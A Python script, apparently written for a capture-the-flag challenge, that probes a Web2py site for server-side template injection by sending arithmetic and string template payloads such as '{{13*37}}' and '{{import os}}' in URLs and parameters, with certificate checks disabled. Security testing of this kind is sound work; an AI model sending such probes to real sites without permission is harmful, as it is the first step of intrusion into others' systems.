#!/usr/bin/env python3
"""
Detailed Web2py SSTI Testing - checking for actual evaluation
"""

import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

def check_specific_endpoint(path, params=None, method="GET"):
    """Check a specific endpoint for SSTI"""
    url = BASE_URL + path
    
    try:
        if method == "GET":
            response = requests.get(url, params=params, verify=False, timeout=5)
        else:
            response = requests.post(url, data=params, verify=False, timeout=5)
        
        print(f"\n{'='*60}")
        print(f"Testing: {method} {path}")
        if params:
            print(f"Params: {params}")
        print(f"Status: {response.status_code}")
        print(f"{'='*60}")
        
        # Save full response
        with open(f"response_{path.replace('/', '_')}.html", "w", encoding="utf-8") as f:
            f.write(response.text)
        
        # Look for our specific markers
        if "{{7*7}}" in response.text:
            print("[*] Template syntax found in response (not evaluated)")
            # Find context
            idx = response.text.find("{{7*7}}")
            print(f"    Context: ...{response.text[max(0,idx-50):idx+70]}...")
        
        if "49" in response.text and "{{7*7}}" in str(params):
            print("[*] Number 49 found in response - checking if it's from evaluation...")
            # Check if it's actually evaluated or just part of HTML
            idx = response.text.find("49")
            context = response.text[max(0,idx-100):idx+100]
            print(f"    Context around '49': ...{context}...")
        
        # Try to find if the template syntax is in the actual rendered content
        # Look for patterns that show it was evaluated
        patterns = [
            r'<[^>]*>\s*49\s*<',  # 49 in HTML tags
            r'>\s*49\s*<',  # 49 between tags
            r'49\s*</\w+>',  # 49 before closing tag
        ]
        
        for pattern in patterns:
            matches = re.findall(pattern, response.text)
            if matches:
                print(f"[!] Found potential evaluation: {matches[:3]}")
        
        return response
        
    except Exception as e:
        print(f"Error: {e}")
        return None

def test_error_page_detailed():
    """Test error pages in detail"""
    print("\n" + "="*60)
    print("TESTING ERROR PAGES FOR TEMPLATE INJECTION")
    print("="*60)
    
    # Test invalid function with template syntax
    test_urls = [
        "/welcome/default/test{{7*7}}more",
        "/welcome/default/{{import os}}",
        "/test{{7*7}}/default/index",
    ]
    
    for test_url in test_urls:
        url = BASE_URL + test_url
        try:
            print(f"\n[>] Testing: {url}")
            response = requests.get(url, verify=False, timeout=5)
            print(f"Status: {response.status_code}")
            
            # Save response
            filename = f"error_response_{test_url.replace('/', '_').replace('{', '').replace('}', '')}.html"
            with open(filename, "w", encoding="utf-8") as f:
                f.write(response.text)
            print(f"Saved to: {filename}")
            
            # Check for evaluation
            if "49" in response.text:
                print("[!] Found '49' in response!")
                idx = response.text.find("49")
                print(f"Context: ...{response.text[max(0,idx-150):idx+150]}...")
            
            # Check if template syntax appears
            if "{{" in response.text:
                print("[*] Template syntax {{ found in response")
                idx = response.text.find("{{")
                print(f"Context: ...{response.text[max(0,idx-100):idx+150]}...")
                
        except Exception as e:
            print(f"Error: {e}")

def test_with_various_markers():
    """Test with unique markers to detect evaluation"""
    print("\n" + "="*60)
    print("TESTING WITH UNIQUE MARKERS")
    print("="*60)
    
    # Use unique number combinations to detect evaluation
    tests = [
        ("{{13*37}}", "481"),  # Unique result
        ("{{123+456}}", "579"),  # Another unique result  
        ("{{='TESTMARKER'}}", "TESTMARKER"),  # String marker
    ]
    
    for payload, expected in tests:
        print(f"\n[>] Testing payload: {payload} (expecting: {expected})")
        
        response = requests.get(
            BASE_URL + "/welcome/default/index",
            params={"test": payload},
            verify=False,
            timeout=5
        )
        
        if expected in response.text:
            print(f"[!!!] CONFIRMED SSTI! Found expected result: {expected}")
            idx = response.text.find(expected)
            print(f"Context: ...{response.text[max(0,idx-150):idx+200]}...")
            
            # Save this important finding
            with open("CONFIRMED_SSTI.html", "w", encoding="utf-8") as f:
                f.write(response.text)
            return True
        else:
            print(f"[*] Expected result '{expected}' not found")
    
    return False

if __name__ == "__main__":
    # Test with unique markers first
    if test_with_various_markers():
        print("\n[!!!] SSTI CONFIRMED! Ready for exploitation.")
    else:
        # Test other vectors
        check_specific_endpoint("/welcome/default/index", {"test": "{{13*37}}"})
        check_specific_endpoint("/welcome/default/user", {"test": "{{13*37}}"})
        test_error_page_detailed()
    
    print("\n[*] Check the saved HTML files for details!")
